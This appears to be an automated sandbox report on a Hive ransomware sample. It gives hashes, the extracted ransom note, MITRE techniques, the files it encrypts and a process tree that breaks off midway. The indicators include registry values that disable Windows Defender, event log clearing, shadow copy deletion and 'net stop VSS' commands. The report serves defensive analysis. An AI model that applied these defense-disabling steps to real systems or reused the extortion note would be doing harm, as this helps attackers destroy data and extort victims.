hive | af9e8f301a3677b457345921d7ee765a842eceb7df107714eaffc6193bfc6bbe

Resubmissions

12-02-2024 06:38

240212-hd166sgg25 10

12-02-2024 06:21

240212-g4tdksgd86 7

Analysis

max time kernel
291s
max time network
120s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
12-02-2024 06:38

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General

Target

zi1ysv64h.exe
Size

3.3MB
MD5

5384c6825a5707241c11d78529dbbfee
SHA1

85f5587e8ad534c2e5de0e72450b61ebda93e4fd
SHA256

3858e95bcf18c692f8321e3f8380c39684edb90bb622f37911144950602cea21
SHA512

856861295efb9c1b0000b369297cf6905a277c2d7dd0bc238f3884cd22598055450bf0459d68441f135bb77150685a86707ea9320a37e10548b40185f09b961f
SSDEEP

49152:HJ9mQ5uetkErb/TKvO90dL3BmAFd4A64nsfJ+9NRUMZXuPH9fc0KHPKG/g+eNgiz:HJ9jkl9NbBo9fc0KHYno

Score

10^/10

hive evasion ransomware spyware stealer trojan

Malware Config

Extracted

Path

C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Cultures\K8zJ_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note

Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at you will need to purchase our decryption software. Please contact our sales department at: Login: Password: To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.2o4xo files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059

Processes:

MpCmdRun.exe

pid process

1728 MpCmdRun.exe
Hive
A ransomware written in Golang first seen in June 2021.
ransomware hive

pid	process
1728	MpCmdRun.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

reg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Windows Service
T1543.003

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" reg.exe
Clears Windows event logs 1 TTPs 3 IoCs
evasion ransomware

Indicator Removal
T1070

Processes:

wevtutil.exewevtutil.exewevtutil.exe

pid process

1576 wevtutil.exe
1336 wevtutil.exe
2400 wevtutil.exe
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

2072 bcdedit.exe
1748 bcdedit.exe
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1384 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe

pid	process
1576	wevtutil.exe
1336	wevtutil.exe
2400	wevtutil.exe

pid	process
2072	bcdedit.exe
1748	bcdedit.exe

pid	process
1384	cmd.exe

Drops file in Program Files directory 64 IoCs

Processes:

zi1ysv64h.exe

description	ioc	process
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\ja-JP\css\slideShow.css	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\DD01170_.WMF.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_Ho2AnTeylDg0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00837_.WMF.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_pRTGSXbtcqs0.2o4xo	zi1ysv64h.exe
File created	C:\Program Files\Microsoft Games\Hearts\de-DE\K8zJ_HOW_TO_DECRYPT.txt	zi1ysv64h.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\et-EE\tipresx.dll.mui	zi1ysv64h.exe
File opened for modification	C:\Program Files\Microsoft Games\Multiplayer\Spades\it-IT\shvlzm.exe.mui.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_dt-sQGCveuY0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14790_.GIF.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_Ll163bxmKHs0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18232_.WMF.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_1x3HqOrzz5w0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-utilities_zh_CN.jar.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_tPiM05_6YtI0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\diner_h.png	zi1ysv64h.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\es-ES\css\settings.css	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0195320.WMF.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_5mdhaY3VWz00.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD10264_.GIF.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_8OkBgRmTYZc0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\ipsrom.xml	zi1ysv64h.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Iqaluit.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_yrHQwz5NFwc0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Magadan.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_0mKFGwwn24c0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp	zi1ysv64h.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.contenttype_3.4.200.v20140207-1251.jar.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_BpMSXjI4-tI0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\GRPHFLT\CGMIMP32.FLT.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_chz7TxMFZQg0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGCHKBRD.XML.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_zYybOsHjM9Y0.2o4xo	zi1ysv64h.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\RADIAL\K8zJ_HOW_TO_DECRYPT.txt	zi1ysv64h.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-queries.xml.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_17ciroWOtLs0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr__aPx1SoUnnw0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\DD00687_.WMF.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_D9eGxte5by80.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\FormToolImages.jpg.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_1_qi0tWsNGc0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files\Common Files\System\ado\fr-FR\msader15.dll.mui	zi1ysv64h.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Danmarkshavn.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_NbaojMmhS0E0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\about.html.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_uNZ7ljFgw4I0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\plugin.xml.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_aNDjlozo6WA0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\it-IT\TipBand.dll.mui	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0183172.WMF.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_D5TuOoN88eQ0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\OUTLOOK.DEV_K_COL.HXK.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_R2s8zu7HT8o0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0284916.JPG.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_uPElUYSWEDc0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\MSTORE_COL.HXT.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_1g6KKI9426M0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\CommonData\CommsIncomingImage.jpg.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_XRAiUX1MwDc0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\doclib.gif.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_uk2oSu8Dzh40.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Nairobi.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_nW4Tjdmr4bQ0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\modern_s.png	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA00454_.WMF.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_owYL8Q7qNW00.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN026.XML.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_Hp-pr-7RhqQ0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_black_moon-last-quarter.png	zi1ysv64h.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\nl-NL\tipresx.dll.mui	zi1ysv64h.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.commands.nl_zh_4.4.0.v20140623020002.jar.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_TfODbjJ8tgY0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0101856.BMP.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_zxxi0TUwJyg0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Swirl\TAB_OFF.GIF.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_j8H8IEqtILo0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveProjectToolset\ProjectStatusIcons.jpg.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_U7HXmyZg2W00.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Stationery\1033\JUNGLE.HTM.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_CwmxjMvaw180.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-io.xml.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_UdIcgQQ7D_80.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT+12.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_wc1g5s390B40.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Origin.xml.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_C2hXB6Av9Yg0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\WebToolIconImages.jpg.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_X3TunW8ZHXQ0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\BrightYellow\HEADER.GIF.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr__o8LM3N7ssE0.2o4xo	zi1ysv64h.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\K8zJ_HOW_TO_DECRYPT.txt	zi1ysv64h.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\eclipse_update_120.jpg.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_G3auiDaZmnk0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\ink\en-US\InkObj.dll.mui	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH00685_.WMF.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_Z2GVeHKvPcY0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\BrightYellow\HEADER.GIF.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_E9wnm8Fhb8Q0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02417_.WMF.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_NPp9bhopc4o0.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO01560_.WMF.Xsxc-YsGQTPTvSVeAKru0XJbOAShIKqDRdjXwPLsUsr_7kC1gVa3q000.2o4xo	zi1ysv64h.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\it-IT\js\localizedStrings.js	zi1ysv64h.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\K8zJ_HOW_TO_DECRYPT.txt	zi1ysv64h.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationLeft_SelectionSubpicture.png	zi1ysv64h.exe

Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

2700 sc.exe
2812 sc.exe
1764 sc.exe
1032 sc.exe
2332 sc.exe
3024 sc.exe
2656 sc.exe
2596 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

444 vssadmin.exe
Modifies registry class 1 IoCs

Processes:

rundll32.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000_Classes\Local Settings rundll32.exe
Opens file in notepad (likely ransom note) 2 IoCs
ransomware

Processes:

notepad.exeNOTEPAD.EXE

pid process

1280 notepad.exe
3036 NOTEPAD.EXE
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2500 PING.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exenet1.exezi1ysv64h.exe

pid process

3064 powershell.exe
2720 net1.exe
2252 zi1ysv64h.exe

pid	process
2700	sc.exe
2812	sc.exe
1764	sc.exe
1032	sc.exe
2332	sc.exe
3024	sc.exe
2656	sc.exe
2596	sc.exe

pid	process
444	vssadmin.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000_Classes\Local Settings	rundll32.exe

pid	process
1280	notepad.exe
3036	NOTEPAD.EXE

pid	process
2500	PING.EXE

pid	process
3064	powershell.exe
2720	net1.exe
2252	zi1ysv64h.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

wevtutil.exewevtutil.exewevtutil.exewmic.exewmic.exe

description	pid	process
Token: SeSecurityPrivilege	2400	wevtutil.exe
Token: SeBackupPrivilege	2400	wevtutil.exe
Token: SeSecurityPrivilege	1336	wevtutil.exe
Token: SeBackupPrivilege	1336	wevtutil.exe
Token: SeSecurityPrivilege	1576	wevtutil.exe
Token: SeBackupPrivilege	1576	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	1364	wmic.exe
Token: SeSecurityPrivilege	1364	wmic.exe
Token: SeTakeOwnershipPrivilege	1364	wmic.exe
Token: SeLoadDriverPrivilege	1364	wmic.exe
Token: SeSystemProfilePrivilege	1364	wmic.exe
Token: SeSystemtimePrivilege	1364	wmic.exe
Token: SeProfSingleProcessPrivilege	1364	wmic.exe
Token: SeIncBasePriorityPrivilege	1364	wmic.exe
Token: SeCreatePagefilePrivilege	1364	wmic.exe
Token: SeBackupPrivilege	1364	wmic.exe
Token: SeRestorePrivilege	1364	wmic.exe
Token: SeShutdownPrivilege	1364	wmic.exe
Token: SeDebugPrivilege	1364	wmic.exe
Token: SeSystemEnvironmentPrivilege	1364	wmic.exe
Token: SeRemoteShutdownPrivilege	1364	wmic.exe
Token: SeUndockPrivilege	1364	wmic.exe
Token: SeManageVolumePrivilege	1364	wmic.exe
Token: 33	1364	wmic.exe
Token: 34	1364	wmic.exe
Token: 35	1364	wmic.exe
Token: SeIncreaseQuotaPrivilege	2964	wmic.exe
Token: SeSecurityPrivilege	2964	wmic.exe
Token: SeTakeOwnershipPrivilege	2964	wmic.exe
Token: SeLoadDriverPrivilege	2964	wmic.exe
Token: SeSystemProfilePrivilege	2964	wmic.exe
Token: SeSystemtimePrivilege	2964	wmic.exe
Token: SeProfSingleProcessPrivilege	2964	wmic.exe
Token: SeIncBasePriorityPrivilege	2964	wmic.exe
Token: SeCreatePagefilePrivilege	2964	wmic.exe
Token: SeBackupPrivilege	2964	wmic.exe
Token: SeRestorePrivilege	2964	wmic.exe
Token: SeShutdownPrivilege	2964	wmic.exe
Token: SeDebugPrivilege	2964	wmic.exe
Token: SeSystemEnvironmentPrivilege	2964	wmic.exe
Token: SeRemoteShutdownPrivilege	2964	wmic.exe
Token: SeUndockPrivilege	2964	wmic.exe
Token: SeManageVolumePrivilege	2964	wmic.exe
Token: 33	2964	wmic.exe
Token: 34	2964	wmic.exe
Token: 35	2964	wmic.exe
Token: SeIncreaseQuotaPrivilege	2964	wmic.exe
Token: SeSecurityPrivilege	2964	wmic.exe
Token: SeTakeOwnershipPrivilege	2964	wmic.exe
Token: SeLoadDriverPrivilege	2964	wmic.exe
Token: SeSystemProfilePrivilege	2964	wmic.exe
Token: SeSystemtimePrivilege	2964	wmic.exe
Token: SeProfSingleProcessPrivilege	2964	wmic.exe
Token: SeIncBasePriorityPrivilege	2964	wmic.exe
Token: SeCreatePagefilePrivilege	2964	wmic.exe
Token: SeBackupPrivilege	2964	wmic.exe
Token: SeRestorePrivilege	2964	wmic.exe
Token: SeShutdownPrivilege	2964	wmic.exe
Token: SeDebugPrivilege	2964	wmic.exe
Token: SeSystemEnvironmentPrivilege	2964	wmic.exe
Token: SeRemoteShutdownPrivilege	2964	wmic.exe
Token: SeUndockPrivilege	2964	wmic.exe
Token: SeManageVolumePrivilege	2964	wmic.exe
Token: 33	2964	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

zi1ysv64h.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 2252 wrote to memory of 1456	2252	zi1ysv64h.exe	net.exe
PID 2252 wrote to memory of 1456	2252	zi1ysv64h.exe	net.exe
PID 2252 wrote to memory of 1456	2252	zi1ysv64h.exe	net.exe
PID 1456 wrote to memory of 2676	1456	net.exe	net1.exe
PID 1456 wrote to memory of 2676	1456	net.exe	net1.exe
PID 1456 wrote to memory of 2676	1456	net.exe	net1.exe
PID 2252 wrote to memory of 2424	2252	zi1ysv64h.exe	net.exe
PID 2252 wrote to memory of 2424	2252	zi1ysv64h.exe	net.exe
PID 2252 wrote to memory of 2424	2252	zi1ysv64h.exe	net.exe
PID 2424 wrote to memory of 2732	2424	net.exe	net1.exe
PID 2424 wrote to memory of 2732	2424	net.exe	net1.exe
PID 2424 wrote to memory of 2732	2424	net.exe	net1.exe
PID 2252 wrote to memory of 2292	2252	zi1ysv64h.exe	net.exe
PID 2252 wrote to memory of 2292	2252	zi1ysv64h.exe	net.exe
PID 2252 wrote to memory of 2292	2252	zi1ysv64h.exe	net.exe
PID 2292 wrote to memory of 2824	2292	net.exe	net1.exe
PID 2292 wrote to memory of 2824	2292	net.exe	net1.exe
PID 2292 wrote to memory of 2824	2292	net.exe	net1.exe
PID 2252 wrote to memory of 2832	2252	zi1ysv64h.exe	net.exe
PID 2252 wrote to memory of 2832	2252	zi1ysv64h.exe	net.exe
PID 2252 wrote to memory of 2832	2252	zi1ysv64h.exe	net.exe
PID 2832 wrote to memory of 2828	2832	net.exe	cmd.exe
PID 2832 wrote to memory of 2828	2832	net.exe	cmd.exe
PID 2832 wrote to memory of 2828	2832	net.exe	cmd.exe
PID 2252 wrote to memory of 2744	2252	zi1ysv64h.exe	net.exe
PID 2252 wrote to memory of 2744	2252	zi1ysv64h.exe	net.exe
PID 2252 wrote to memory of 2744	2252	zi1ysv64h.exe	net.exe
PID 2744 wrote to memory of 2720	2744	net.exe	net1.exe
PID 2744 wrote to memory of 2720	2744	net.exe	net1.exe
PID 2744 wrote to memory of 2720	2744	net.exe	net1.exe
PID 2252 wrote to memory of 1160	2252	zi1ysv64h.exe	net.exe
PID 2252 wrote to memory of 1160	2252	zi1ysv64h.exe	net.exe
PID 2252 wrote to memory of 1160	2252	zi1ysv64h.exe	net.exe
PID 1160 wrote to memory of 2748	1160	net.exe	net1.exe
PID 1160 wrote to memory of 2748	1160	net.exe	net1.exe
PID 1160 wrote to memory of 2748	1160	net.exe	net1.exe
PID 2252 wrote to memory of 2820	2252	zi1ysv64h.exe	net.exe
PID 2252 wrote to memory of 2820	2252	zi1ysv64h.exe	net.exe
PID 2252 wrote to memory of 2820	2252	zi1ysv64h.exe	net.exe
PID 2820 wrote to memory of 2672	2820	net.exe	net1.exe
PID 2820 wrote to memory of 2672	2820	net.exe	net1.exe
PID 2820 wrote to memory of 2672	2820	net.exe	net1.exe
PID 2252 wrote to memory of 2908	2252	zi1ysv64h.exe	net.exe
PID 2252 wrote to memory of 2908	2252	zi1ysv64h.exe	net.exe
PID 2252 wrote to memory of 2908	2252	zi1ysv64h.exe	net.exe
PID 2908 wrote to memory of 2764	2908	net.exe	net1.exe
PID 2908 wrote to memory of 2764	2908	net.exe	net1.exe
PID 2908 wrote to memory of 2764	2908	net.exe	net1.exe
PID 2252 wrote to memory of 2812	2252	zi1ysv64h.exe	sc.exe
PID 2252 wrote to memory of 2812	2252	zi1ysv64h.exe	sc.exe
PID 2252 wrote to memory of 2812	2252	zi1ysv64h.exe	sc.exe
PID 2252 wrote to memory of 2700	2252	zi1ysv64h.exe	sc.exe
PID 2252 wrote to memory of 2700	2252	zi1ysv64h.exe	sc.exe
PID 2252 wrote to memory of 2700	2252	zi1ysv64h.exe	sc.exe
PID 2252 wrote to memory of 2596	2252	zi1ysv64h.exe	sc.exe
PID 2252 wrote to memory of 2596	2252	zi1ysv64h.exe	sc.exe
PID 2252 wrote to memory of 2596	2252	zi1ysv64h.exe	sc.exe
PID 2252 wrote to memory of 2656	2252	zi1ysv64h.exe	sc.exe
PID 2252 wrote to memory of 2656	2252	zi1ysv64h.exe	sc.exe
PID 2252 wrote to memory of 2656	2252	zi1ysv64h.exe	sc.exe
PID 2252 wrote to memory of 3024	2252	zi1ysv64h.exe	sc.exe
PID 2252 wrote to memory of 3024	2252	zi1ysv64h.exe	sc.exe
PID 2252 wrote to memory of 3024	2252	zi1ysv64h.exe	sc.exe
PID 2252 wrote to memory of 2332	2252	zi1ysv64h.exe	sc.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe
"C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe"
1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2252
- C:\Windows\system32\net.exe
  net.exe stop "SstpSvc" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2832
- C:\Windows\system32\net.exe
  net.exe stop "VSS" /y
  2⤵
  - Suspicious use of WriteProcessMemory
